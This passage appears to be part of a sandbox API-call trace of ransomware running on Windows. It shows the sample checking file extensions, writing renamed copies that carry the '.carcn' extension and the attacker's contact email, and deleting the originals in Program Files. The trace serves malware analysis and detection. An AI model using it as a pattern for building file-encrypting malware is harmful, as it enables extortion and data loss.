lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.908] lstrlenW (lpString=".dbf") returned 4 [0163.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.908] lstrlenW (lpString=".1cd") returned 4 [0163.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0163.908] lstrlenW (lpString=".jpg") returned 4 [0163.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.908] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.908] lstrlenW (lpString="auxpad.xml") returned 10 [0163.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0163.982] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=212) returned 1 [0163.982] CloseHandle (hObject=0x310) returned 1 [0163.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0163.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0163.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0163.983] lstrlenW (lpString=".doc") returned 4 [0163.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.983] lstrlenW (lpString=".docx") returned 5 [0163.983] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0163.983] lstrlenW (lpString=".pdf") returned 4 [0163.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.983] lstrlenW (lpString=".xls") returned 4 [0163.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.983] lstrlenW (lpString=".xlsx") returned 5 [0163.984] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0163.984] lstrlenW (lpString=".ppt") returned 4 [0163.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0163.984] lstrlenW (lpString=".zip") returned 4 [0163.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.984] lstrlenW (lpString=".rar") returned 4 [0163.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.984] lstrlenW (lpString=".bz2") returned 4 [0163.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.984] lstrlenW (lpString=".7z") returned 3 [0163.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0163.984] lstrlenW (lpString=".dbf") returned 4 [0163.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0177.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0177.957] GetLastError () returned 0x0 [0177.957] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x374c, lpOverlapped=0x0) returned 1 [0177.998] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x3750, lpOverlapped=0x0) returned 1 [0177.998] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0177.999] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0177.999] SetEndOfFile (hFile=0x31c) returned 1 [0178.005] CloseHandle (hObject=0x31c) returned 1 [0178.006] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.006] SetEndOfFile (hFile=0x364) returned 1 [0178.007] CloseHandle (hObject=0x364) returned 1 [0178.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.007] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0178.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.007] lstrlenW (lpString=".doc") returned 4 [0178.007] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0178.007] lstrlenW (lpString=".docx") returned 5 [0178.007] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0178.007] lstrlenW (lpString=".pdf") returned 4 [0178.008] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString=".xls") returned 4 [0178.008] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString=".xlsx") returned 5 [0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0178.008] lstrlenW (lpString=".ppt") returned 4 [0178.008] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.008] lstrlenW (lpString=".zip") returned 4 [0178.008] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.008] lstrlenW (lpString=".doc") returned 4 [0178.008] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString=".docx") returned 5 [0178.008] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0178.008] lstrlenW (lpString=".pdf") returned 4 [0178.008] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString=".xls") returned 4 [0178.008] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString=".xlsx") returned 5 [0178.008] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0178.008] lstrlenW (lpString=".ppt") returned 4 [0178.008] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0178.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0178.008] lstrlenW (lpString=".zip") returned 4 [0178.008] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0178.008] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.009] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0178.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.009] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=12250) returned 1 [0178.009] CloseHandle (hObject=0x364) returned 1 [0178.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0178.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.009] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.009] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.009] GetLastError () returned 0x0 [0178.009] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x2fda, lpOverlapped=0x0) returned 1 [0178.146] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0178.147] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.147] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xfc, lpOverlapped=0x0) returned 1 [0178.147] SetEndOfFile (hFile=0x31c) returned 1 [0178.147] CloseHandle (hObject=0x31c) returned 1 [0178.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.148] SetEndOfFile (hFile=0x364) returned 1 [0178.149] CloseHandle (hObject=0x364) returned 1 [0178.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.150] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0178.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.150] lstrlenW (lpString=".doc") returned 4 [0178.150] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.150] lstrlenW (lpString=".docx") returned 5 [0178.150] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0178.150] lstrlenW (lpString=".pdf") returned 4 [0178.150] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.150] lstrlenW (lpString=".xls") returned 4 [0178.150] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.150] lstrlenW (lpString=".xlsx") returned 5 [0178.150] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0178.150] lstrlenW (lpString=".ppt") returned 4 [0178.150] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString=".zip") returned 4 [0178.151] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.151] lstrlenW (lpString=".rar") returned 4 [0178.151] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.151] lstrlenW (lpString=".bz2") returned 4 [0178.151] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.151] lstrlenW (lpString=".7z") returned 3 [0178.151] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString=".dbf") returned 4 [0178.151] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString=".1cd") returned 4 [0178.151] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString=".jpg") returned 4 [0178.151] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.151] lstrlenW (lpString=".doc") returned 4 [0178.151] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.151] lstrlenW (lpString=".docx") returned 5 [0178.151] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0178.151] lstrlenW (lpString=".pdf") returned 4 [0178.151] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.151] lstrlenW (lpString=".xls") returned 4 [0178.151] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.152] lstrlenW (lpString=".xlsx") returned 5 [0178.152] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0178.152] lstrlenW (lpString=".ppt") returned 4 [0178.152] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.152] lstrlenW (lpString=".zip") returned 4 [0178.152] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.152] lstrlenW (lpString=".rar") returned 4 [0178.152] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.152] lstrlenW (lpString=".bz2") returned 4 [0178.152] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.152] lstrlenW (lpString=".7z") returned 3 [0178.152] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.152] lstrlenW (lpString=".dbf") returned 4 [0178.152] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.152] lstrlenW (lpString=".1cd") returned 4 [0178.152] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0178.152] lstrlenW (lpString=".jpg") returned 4 [0178.152] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.152] lstrcmpiW (lpString1=".txt", lpString2=".carcn") returned 1 [0178.152] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0178.153] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.153] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=4226) returned 1 [0178.153] CloseHandle (hObject=0x364) returned 1 [0178.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0178.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.153] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.219] GetLastError () returned 0x0 [0178.219] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x1082, lpOverlapped=0x0) returned 1 [0178.241] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x1090, lpOverlapped=0x0) returned 1 [0178.242] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.242] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xee, lpOverlapped=0x0) returned 1 [0178.242] SetEndOfFile (hFile=0x31c) returned 1 [0178.242] CloseHandle (hObject=0x31c) returned 1 [0178.242] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.243] SetEndOfFile (hFile=0x364) returned 1 [0178.243] CloseHandle (hObject=0x364) returned 1 [0178.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.244] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0178.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.244] lstrlenW (lpString=".doc") returned 4 [0178.244] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.244] lstrlenW (lpString=".docx") returned 5 [0178.244] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0178.244] lstrlenW (lpString=".pdf") returned 4 [0178.244] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.244] lstrlenW (lpString=".xls") returned 4 [0178.244] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.244] lstrlenW (lpString=".xlsx") returned 5 [0178.244] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0178.244] lstrlenW (lpString=".ppt") returned 4 [0178.244] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.244] lstrlenW (lpString=".zip") returned 4 [0178.244] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.244] lstrlenW (lpString=".rar") returned 4 [0178.244] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.244] lstrlenW (lpString=".bz2") returned 4 [0178.245] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString=".7z") returned 3 [0178.245] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.245] lstrlenW (lpString=".dbf") returned 4 [0178.245] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.245] lstrlenW (lpString=".1cd") returned 4 [0178.245] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.245] lstrlenW (lpString=".jpg") returned 4 [0178.245] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.245] lstrlenW (lpString=".doc") returned 4 [0178.245] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString=".docx") returned 5 [0178.245] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0178.245] lstrlenW (lpString=".pdf") returned 4 [0178.245] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString=".xls") returned 4 [0178.245] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0178.245] lstrlenW (lpString=".xlsx") returned 5 [0178.245] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0178.245] lstrlenW (lpString=".ppt") returned 4 [0178.245] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.246] lstrlenW (lpString=".zip") returned 4 [0178.246] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0178.246] lstrlenW (lpString=".rar") returned 4 [0178.246] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0178.246] lstrlenW (lpString=".bz2") returned 4 [0178.246] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0178.246] lstrlenW (lpString=".7z") returned 3 [0178.246] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.246] lstrlenW (lpString=".dbf") returned 4 [0178.246] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.246] lstrlenW (lpString=".1cd") returned 4 [0178.246] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0178.246] lstrlenW (lpString=".jpg") returned 4 [0178.246] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0178.246] lstrcmpiW 